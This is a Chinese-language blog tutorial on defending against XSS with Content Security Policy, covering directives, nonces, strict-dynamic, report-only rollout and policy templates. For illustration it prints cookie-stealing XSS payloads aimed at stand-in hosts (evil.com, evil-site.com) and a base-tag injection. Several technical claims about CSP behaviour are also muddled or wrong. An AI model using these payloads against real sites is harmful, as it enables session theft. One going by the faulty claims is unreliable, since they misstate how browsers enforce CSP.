先从一个真实翻车现场说起
两年前我接手过一个线上商城的前端安全改造,当时客户报障说一批账号出现异地登录,排查了一个通宵,最后在个人签名字段里找到了一个隐藏的<script>标签。攻击者把恶意脚本塞进用户签名,脚本跑起来直接读走了document.cookie,那条 Cookie 带着会话令牌,顺着请求发到了他的服务器,然后他用拿到的令牌登录了受害者的账号。
修复这个漏洞并不难,后端加个输入校验、前端渲染时转义掉特殊字符就行。但让我后背发凉的是另一个问题:就算过滤做得再完美,也挡不住有人的浏览器装了奇奇怪怪的扩展,或者业务代码里一个不起眼的innerHTML把一个用户输入拼了进去。XSS 的漏洞形态千奇百怪,你永远堵不完所有的口子。
所以那之后我把重点放在了内容安全策略 Content Security Policy(简称 CSP)上。一句话说清楚它的价值:CSP 是浏览器原生提供的一套"白名单防火墙",它能告诉浏览器"这个页面只能加载我信任的脚本、样式和资源",即使攻击者把恶意代码注入进来了,浏览器也会因为代码来路不明而选择拒绝执行。这是从根上斩断 XSS 攻击链的关键手段。
这篇文章我会把我实践中的完整经验拆给你看:从 XSS 的攻击链路讲起,到 CSP 的每个指令、每种配置方式的含义,再到一步一步上线一套靠谱策略的完整过程,最后分享我在真实项目里踩过的坑和排查思路。这不仅是一篇配置手册,更是一份可以直接抄作业的安全改造指南。
1. XSS 攻击到底是怎么发生的——不搞懂攻击链,配置 CSP 就是瞎忙
1.1 三种 XSS 形态:长得像,死法不同
我开始研究 CSP 之前,总觉得 XSS 不就是"用户输入没过滤嘛"。真深入进去才发现,XSS 至少分三种,每一种的触发链路、责任方、修复方式都完全不一样。
反射型 XSS(Reflected XSS)是最"直白"的一种。它的特征是恶意脚本藏在 URL 参数里,后端拿到参数后没有转义就直接拼进了 HTML 响应。举个例子,一个搜索页https://shop.com/search?q=keyword,后端返回的是<p>您搜索的是:keyword</p>。如果攻击者把keyword换成<script>document.location='https://evil.com/?c='+document.cookie</script>,并且把这条链接发给受害者,受害者一点,浏览器就替攻击者执行了脚本。整个过程脚本在服务端和浏览器之间"反射"了一次,所以叫反射型。
存储型 XSS(Stored XSS)更阴险。恶意脚本被提交到了服务端数据库里,比如评论、昵称、个人签名,然后只要任何用户浏览到展示这个数据的地方,脚本就在每个人的浏览器里执行一次。开头的商城案例就是存储型。这类攻击的覆盖面是所有访问者,所以危害也最大。攻击者甚至可以直接在页面上挂一个伪造的登录框,把你的密码也套走。
DOM 型 XSS(DOM-based XSS)跟前两者不同,它根本不经过服务端。整个攻击链都发生在浏览器里:JavaScript 代码读取了location.hash或者window.name这类来源的数据,然后直接把它传给了innerHTML、document.write、eval这类"执行位置"。比如前端代码写了document.getElementById('result').innerHTML = location.hash.substring(1),那攻击者只要发给受害者一个https://shop.com/page#<img src=x onerror=alert(1)>的链接,脚本照样执行。服务端和前端框架根本拦不到这种攻击,因为后端看到的请求路径是完全正常的。
1.2 一次完整的攻击链路拆解:恶意脚本是如何得手的
为了方便说明后面 CSP 是怎么"出手"的,我用一个典型的存储型 XSS 把攻击链路完整拉一遍。假如某博客平台允许用户提交访客留言,留言内容没有做渲染前转义,前端直接innerHTML插入了留言列表。
第一步,攻击者在留言框里输入:
<img src="anything" onerror="fetch('https://evil-site.com/collect?token='+document.cookie)">第二步,留言被存进数据库。第三步,受害者打开博客页面,前端渲染留言时innerHTML把这个<img>标签插入 DOM。图片加载失败触发onerror事件,脚本开始执行。第四步,浏览器发起fetch请求,把受害者当前站点的 Cookie 带给了攻击者的服务器。第五步,攻击者拿到 Cookie,解析出会话令牌,冒充受害者登录。
你仔细看这个过程:脚本本身是"用户输入"——进入了数据库——进入了 DOM——执行了。中间任何一步拦截住,攻击就失败了。传统的修复思路是在后端过滤输入,或者在渲染前转义输出,这两招分别卡在第二步和第三步。但它们有一个共同的弱点:只要漏掉一个字段、一个渲染点,链条就通了。CSP 的思路完全不同,它把守的是第四步之后的关卡——就算脚本已经在页面上跑起来了,浏览器也会因为"这个脚本不在我的白名单里"而拒绝执行,攻击链在这里被生生切断。
理解了这条链路,你就理解了我为什么建议每个站点都上 CSP。它不是用来替代过滤和转义的,而是给整条防线兜底的最后一道闸。
2. CSP 的底层工作机制——浏览器是怎么当上"安全守门员"的
2.1 核心指令体系:一张白名单管住所有资源加载
CSP 本质上是一段由浏览器解析的声明,一般通过 HTTP 响应头Content-Security-Policy下发。它通过若干条指令,告诉浏览器"页面里的每一种资源,只允许从哪里加载"。
最常见的指令有这么几条:
| 指令 | 管辖范围 | 我给你的配置建议 |
|---|---|---|
default-src | 所有资源类型的兜底来源 | 必须先设,作为全局下限 |
script-src | JavaScript 脚本的加载与执行来源 | 最核心,最严格 |
style-src | 样式表、<style>标签、style 属性 | 开发期常踩坑 |
img-src | 图片、favicon、网页图标 | 宽松一点问题不大 |
connect-src | fetch、XHR、WebSocket 等网络连接 | 接口域名必须精确匹配 |
font-src | 字体文件加载来源 | 注意 CDN 域名 |
frame-src | <iframe>嵌入内容来源 | 第三方视频、支付页会用到 |
frame-ancestors | 控制当前页面能否被别的页面 iframe 嵌入 | 防点击劫持的关键 |
base-uri | 限制<base>标签可指向的 URL | 防"base 标签注入" |
form-action | 限制表单可以提交到的地址 | 防钓鱼表单提交 |
object-src | <object>、<embed>、<applet>来源 | 一般直接'none' |
upgrade-insecure-requests | 自动把页面内 http 请求升级为 https | 建议开启 |
指令之间不是"各管各的"那么简单。如果script-src没写,浏览器就去翻default-src;default-src也没写,那浏览器就不对这个资源类型做任何限制。这个继承规则是 CSP 理解的核心,很多人配置翻车的第一个原因就是"我以为写了default-src就能管住脚本",结果脚本照样放行了——因为script-src单独写了,覆盖了default-src的约束。
2.2 源表达式:白名单里的"通配符"和"特殊关键词"
每个指令的值是一串"源表达式",表现形式像 URL 的一部分,但规则比 URL 灵活得多。我做一个速查表:
| 写法 | 含义 | 注意点 |
|---|---|---|
'self' | 当前站点自己的源(协议+域名+端口) | 单引号必须写,很多人漏掉 |
'none' | 禁止一切来源 | 适合object-src |
https://api.example.com | 指定 HTTPS 域名 | 默认带上任意端口 |
*.example.com | 匹配 example.com 及其所有子域名 | 包括你自己都想不到的子域 |
https: | 所有 HTTPS 来源 | 非常宽,慎用 |
'unsafe-inline' | 允许内联脚本/样式 | 脚本里这个等同于"门户大开" |
'unsafe-eval' | 允许 eval、Function 构造器执行 | 同上,属于高危豁免 |
'nonce-xxx' | 白名单中带特定随机数属性的脚本块 | 严格 CSP 的核心 |
'sha256-xxx' | 白名单中经过哈希匹配的脚本块 | 适合静态内联脚本 |
'strict-dynamic' | 信任由已通过 nonce/hash 的脚本加载出来的后续脚本 | 现代严格 CSP 标配 |
这里我重点提醒一件事:'unsafe-inline'出现在script-src里,CSP 基本就等于形同虚设。为什么?因为 CSP 拦截 XSS 的核心能力,就是阻止那些"内联的、无法验证来源的脚本"。一旦你允许'unsafe-inline',攻击者注入的<script>标签和onerror属性就全都属于"内联脚本",被浏览器直接放行。很多老项目改 CSP 时图省事,直接把这个写上去,我见过太多这种"配了等于没配"的生产事故了。
2.3 策略的传递方式:响应头为主,坑比较多
CSP 有两种下发方式。第一种是 HTTP 响应头,这是正规做法,配置在 Web 服务器或应用中间件上,所有 HTML 响应都会携带。第二种是<meta http-equiv="Content-Security-Policy" content="...">,可以放在 HTML 的<head>里。meta 方式适合快速验证、纯静态页面,但限制很明显:它不能用frame-ancestors、report-uri、sandbox这些指令,而且对report-to的兼容性也差。我一般只在本地 Demo 里用 meta,生产环境一律响应头。
还有一个容易被忽略的规则:如果你在响应头里重复下发多条 CSP,或者响应头里有一个、meta 里还有一个,浏览器会取所有策略的交集。意思是最严格的那条约束生效。这个特性其实可以利用——比如在某条特殊路径上额外收紧策略,而不用推翻全局配置。但它同时也是个隐患:如果你在不同的代理层(网关、CDN、后端)各自加了一条 CSP,浏览器会认为它们是两条独立的策略,只保留交集,这也是很多奇怪"资源被拦"问题的源头。
3. 实战操练:从零配置一套能打的 CSP 策略
3.1 起步策略:每一行都要看懂
实操层面我以一个典型的 nginx + 前端静态资源 + 后端 API 的架构为例。第一步,先写一个最基础的强化策略:
add_header Content-Security-Policy " default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://cdn.example.com; connect-src 'self' https://api.example.com; font-src 'self' https://fonts.example.com; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests; ";逐条过一遍思路。default-src 'self'是地基:除了后面明确放宽的资源类型,其他任何资源都只能从本站加载。script-src只信任本站和某个 CDN 域名,同时因为没写'unsafe-inline',页面里所有内联<script>和事件属性默认被禁——这是策略里最有价值的一部分。注意style-src我特意留了'unsafe-inline',这不是偷懒,是因为很多组件库会把样式动态塞进 style 属性,而且样式内联的安全风险远低于脚本,市面上主流工具(比如一些技术分析平台)也都建议给样式留这个口子。
connect-src 'self' https://api.example.com这条特别关键。SPA 架构下,前端页面和 API 往往不同域,如果不把 API 域名显式加进connect-src,所有 ajax 请求都会被浏览器拦截,线上直接白屏。object-src 'none'把 Flash 时代的遗留标签全禁掉,攻击面少一块。frame-ancestors 'none'直接拒绝被任何页面 iframe 嵌套,这对电商、银行这类页面很重要——有些恶意外链站点会在透明 iframe 里叠一层你的登录页,诱导用户点击,这个指令直接断了这条路。
3.2 处理内联脚本:Nonce 和 Hash 到底怎么用
如果你按照上面那份策略直接上生产,大概率会收到一票报错——现代前端几乎不可能完全避免内联脚本。Vite 打包出来的 HTML 里有一个内联的初始化脚本,各种第三方统计代码也常用内联方式。这时候你只有两条出路:要么把脚本抽成独立文件,彻底消灭内联;要么用 nonce 或 hash 给可信的内联脚本发"通行证"。
Nonce 的机制可以这样理解:服务器在返回每个页面时,随机生成一个一次性随机数nonce-abc123,放在 CSP 响应头里,同时要求页面里所有可信的内联<script>标签必须带上nonce="abc123"属性。浏览器加载时会比对这两个值,一致才放行。这里的核心是"一次性"——每次请求 nonce 都要重新生成,如果攻击者猜不到或者无法复用,他注入的脚本就拿不到匹配的 nonce,照样被拦。
以 Node.js 中间件为例,生成逻辑长这样:
const crypto = require('crypto'); function cspMiddleware(req, res, next) { const nonce = crypto.randomBytes(16).toString('base64'); res.locals.nonce = nonce; res.setHeader( 'Content-Security-Policy', `default-src 'self'; script-src 'self' 'nonce-${nonce}'; object-src 'none';` ); next(); }模板渲染时,可信脚本加上 nonce 属性:
<script nonce="<%= nonce %>"> window.__INITIAL_STATE__ = {...}; </script>Hash 则完全不同。它针对的是"内容固定不变"的内联脚本:先用openssl dgst -sha256 -binary script.js | base64算出脚本内容的哈希,然后把'sha256-xxxxx'写进 CSP。浏览器加载脚本时,先算一遍哈希,匹配上了才执行。它的好处是不需要每次动态生成,坏处是脚本内容哪怕改一个空格,哈希就变了,你得同步更新策略。所以 hash 更适合那种"几乎不变"的初始化脚本,而 nonce 更适合完全动态的页面。
3.3 灰度上线:先报告后强制,别把线上搞崩
我见过太多团队一上来就把 CSP 强制模式怼到生产环境,结果第二天工程师们集体抓狂——图表库的 worker 加载不了、某个埋点脚本被拦、客服系统 iframe 直接白屏。所以我对所有项目的建议都是:永远先走报告模式。
CSP 提供了一个专用响应头Content-Security-Policy-Report-Only,它的行为和强制模式一样,唯一区别是:该拦的资源照常加载,只是浏览器会把违反策略的行为通过report-uri或report-to指令发到指定地址。这意味着你可以让 CSP 先"只报警、不动手",在真实流量下观察有哪些合法资源被误伤,逐步修正策略,最后再切换成Content-Security-Policy强制执行。
具体的上线流程我一般分成四步。第一步,在报告模式下发一份"我认为正确"的完整策略,同时配好收集端。第二步,观察一到两周报告数据,重点收集被拦截的 URL 和被违反的指令,凡是误拦的业务资源,逐条决议是加白名单还是改代码。第三步,把误伤率压到接近零之后,切到强制模式。第四步,持续监控报告,因为前端代码会不断变化——新引入的第三方脚本、新的图片域名、新的接口路径,都会产生新的违规报告,CSP 策略必须跟着业务迭代。
报告地址怎么配?旧标准是report-uri /csp-report-endpoint,新标准是report-to配合 JSON 配置的 Group 机制。目前兼容性最好的是两个都写上,监听端做好兼容即可:
add_header Content-Security-Policy-Report-Only " default-src 'self'; script-src 'self' 'nonce-abc123'; report-uri /__csp_report__; report-to csp-endpoint; ";4. 上线后必然遇到的问题:排查实录与避坑清单
4.1 常见翻车现场速查表
我把真实项目里高频出现的 CSP 问题整理成了表格,按"报错现象、根因、处置方案"三列来写,你在线上遇到对应问题可以直接对号入座:
| 现象 | 根因 | 处置方案 |
|---|---|---|
页面样式全乱,控制台报style-src违规 | 组件库动态插入<style>或style属性 | 给style-src加上'unsafe-inline',或者让样式全部走外链 |
| 所有 ajax 请求被拦截,接口 200 但页面拿不到数据 | API 域名不在connect-src白名单里 | 把接口域名精确加到connect-src |
Vue / React 生产包报eval相关违规 | 部分依赖用了eval或Function构造器 | 先把'unsafe-eval'加上确认根因,然后升级依赖版本后逐步移除 |
| 第三方地图、支付 iframe 白屏 | frame-src没放行对应的第三方域名 | 提取对方域名,加到frame-src |
图片裂图,控制台报img-src违规 | 图片来自 unpkg、外部图床等未知域名 | 把图床域名加进img-src |
| 字体图标消失 | font-src未放行字体 CDN | 加入字体域名,注意子域名也要覆盖 |
| WebSocket 连不上 | WebSocket 域名不在connect-src | 特殊写法:ws:或wss://域名 |
| 页面被 iframe 嵌套后功能异常 | 自己业务里合法嵌入了第三方,但被frame-ancestors限制 | 把特定域名加进frame-ancestors,但保持'self'兜底 |
4.2 排障工具链:别再用肉眼猜了
遇到 CSP 问题,最直接的线索永远在浏览器控制台。Chrome 会输出类似这样的错误信息:
Refused to load the script 'https://evil.example.com/x.js' because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-abc123'"这行报错信息量很大:它明确告诉你被拦截的资源、命中的指令、以及当前策略内容。但报错里的源有时候不全——比如内联脚本报错时会说inline script而不给出具体行号,这时候就需要打开"Elements"面板,搜索nonce属性或查看脚本的具体位置,判断是哪一行触发的。
我强烈推荐两个工具配合使用。第一个是 Google 官方的 CSP Evaluator,把策略丢进去,它会逐条标记高风险配置,比如发现'unsafe-inline'、'unsafe-eval'、*通配符都会给出风险评级。第二个是浏览器扩展 "CSP Mitm" 或者直接用 Chrome DevTools 的 Network 面板 + Console 过滤组合,可以实时模拟调整 CSP,看看哪些资源被放行、哪些被拦,调策略阶段的效率能提高不少。
4.3 避坑清单:这些坑我替你踩过了
自动加入'unsafe-inline'的默认行为
随着 CSP 版本演进,有一个非常隐蔽的坑:当你在script-src里用了 nonce 或 hash,并且没有写'unsafe-inline'时,老版本浏览器会直接忽略 nonce 机制,并把所有内联脚本当成"受'unsafe-inline'管"——等于'unsafe-inline'被隐式启用了。这就是为什么严格 CSP 必须配套'strict-dynamic':它会在支持 strict-dynamic 的浏览器里让'unsafe-inline'失效,保持策略的严格性。你可以这么理解:nonce / hash 是给现代浏览器的,strict-dynamic 是给"现代但还残留了 unsafe-inline 兼容逻辑"的浏览器的。
通配符是最大的坑
*.cdn.com看起来人畜无害,但 CSP 的通配符语义是"域名任意子域 + 任意端口 + 任意协议",有些 CDN 的子域名历史上被用来托管用户上传内容,那里就是天然的 XSS 发射点。所以能用精确域名就不用通配符,能用https:就别用*:。
内联样式不是不能碰
网上很多文章把style-src 'unsafe-inline'视为洪水猛兽,我的经验是:对于没有用户可控内容注入样式的业务,这个值可以接受。真正不能妥协的是script-src 'unsafe-inline'。安全要讲性价比,样式内联的攻击面远小于脚本内联。
小心 base 标签注入
base-uri指令很多人不知道,但它防的是一个真实攻击:攻击者如果能往页面 HTML 里注入一个<base href="https://evil.example.com/">标签,页面里所有相对路径的资源(/api/user、/images/logo.png)就全被带到了攻击者服务器上,CSP 白名单直接失效。所以我给所有站点的基线配置里都加上了base-uri 'self'。
5. 更高阶的玩法:严格 CSP 与纵深防御体系
5.1 现代标配:Nonce + Strict-Dynamic 的"严格 CSP"
如果你把 CSP 玩到了第 4 章,已经比大多数团队强了,但真正能扛住高阶攻击的是所谓"严格 CSP"(Strict CSP)。它的核心组合是:
script-src 'nonce-随机值' 'strict-dynamic' https: http: 'unsafe-inline';第一次看到这份配置的人肯定会问:既有'unsafe-inline'又有https:,这能安全吗?秘密在于'strict-dynamic'的存在会触发浏览器的特殊行为:在支持 strict-dynamic 的浏览器里,'unsafe-inline'和http:被自动忽略,实际生效的只有'nonce-随机值'和'strict-dynamic'。而在不支持 strict-dynamic 的老浏览器里,'unsafe-inline'又能够兜底,避免页面直接崩掉。'strict-dynamic'的完整语义是:如果一个脚本是通过带合法 nonce 或 hash 的脚本加载进来的,那么这个脚本加载的其他任何脚本也都被信任。
这个机制的实用价值非常大。现代前端框架几乎都会动态加载 chunk 文件,入口只有一个带 nonce 的<script src="/app.js" nonce="abc">,但 app.js 运行后又去加载几十个业务 chunk,这些后续加载的脚本根本没法都加 nonce。如果只靠白名单域名,你只能把整个站点的脚本来源域名全都放进来,白名单越攒越长,失去意义。而 strict-dynamic 让"可信脚本引出的脚本自动可信",既保住了动态加载,又把白名单收敛到了"一个 nonce"。
我现在的推荐组合是:script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self'。看着宽松,实际执行时严格得一批。
5.2 纵深防御:CSP 之外的攻击链拼图
把 CSP 当成银弹也是不对的。我负责的安全改造里,CSP 只是整体防御体系中的一环,它再怎么厉害,也拦截不了下面这些场景:页面里根本没脚本,但数据被通过<a href>钓鱼链接带走;用户的密码被伪造登录框套走;Cookie 被子域上的其他漏洞偷走。所以下面三件事我建议你跟 CSP 一起做。
第一件,给会话 Cookie 打上HttpOnly和Secure标记。HttpOnly保证document.cookie读不到会话令牌,这样即使 CSP 被穿透、脚本成功执行了,攻击者也没法顺着 Cookie 偷走登录态。第二件,输出编码不能省。CSP 防的是脚本执行,但 HTML 实体编码、JavaScript 字符串转义、URL 参数编码是成本最低的防线,尤其是 DOM 型 XSS,CSP 的 nonce 模型根本防不住攻击者用location.hash拼innerHTML的场景——因为没有非法的脚本来源要被拦截,恶意代码是纯字符串进去了。第三件,给外部脚本加上 SRI(Subresource Integrity)校验。带integrity属性的<script>标签会让浏览器加载完脚本后先比对哈希,CDN 被黑或者供应链被投毒时,恶意代码根本执行不了。CSP 给 SRI 开了绿灯:script-src里带 nonce 的情况下,SRI 标签默认被视为可信。
如果项目是纯前端、团队安全能力有限,我还可以推荐一个相对小众但有效的方向:Trusted Types。它把innerHTML、outerHTML这类 DOM 插入 API 从"什么字符串都能塞"改成了"只有经过安全策略认可的 TrustedHTML 对象才能塞"。配合 CSP 的require-trusted-types-for 'script'指令,内联脚本和字符串拼接式的 DOM 注入会被浏览器从机制上禁掉,这是前端框架化时代对付 DOM XSS 最前沿的解法之一。
5.3 按场景参考的策略模板
最后给你三版可以直接套用的策略模板,按项目类型区分。
传统的服务端渲染网站,比如 CMS、博客、企业官网,脚本基本都在后端模板里,适合中规中矩的白名单:
default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';现代 SPA(Vue / React / Angular),资源全是动态加载的,直接上严格 CSP:
script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'self';电商、金融类高敏业务,在 SPA 基础上再收紧一圈,并且把合规上报纳入 KPI:
default-src 'self'; script-src 'nonce-<每次请求随机>' 'strict-dynamic' https: 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://img.example.com; connect-src 'self' https://api.example.com wss://api.example.com; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self'; frame-ancestors 'self'; upgrade-insecure-requests; report-uri /__csp_report__; report-to csp-endpoint;写在最后:我个人实践里的三点体会
做了这么多安全改造,最深的体会是:CSP 不是写一条响应头就完事,它是一套需要持续维护的安全基线。我第一次给某个内部系统上强制 CSP 的时候,图省事把script-src的'unsafe-inline'加上了,结果安全扫描直接给了个高危评级,后来花了两周时间把几十处内联脚本改成外链文件才真正达标。这个过程痛苦,但这恰恰说明 CSP 的约束力是实打实的。
第二个体会是:报告模式灰度绝不是"可选步骤",它是唯一能让策略和业务一起演进的手段。你不可能在开发环境里把线上所有资源类型预判全,上线后监控报告、定期清理过期白名单才是正常状态。
最后一个建议是:如果你所在团队的安全基础薄弱,别追求一步到位,先把最容易出问题的script-src管住,配合 HttpOnly Cookie 和输入输出编码,就能挡住九成的常见攻击。等团队习惯了这套思维方式,再逐步上 strict-dynamic、SRI、Trusted Types。安全是持续的过程,不是一次性的配置。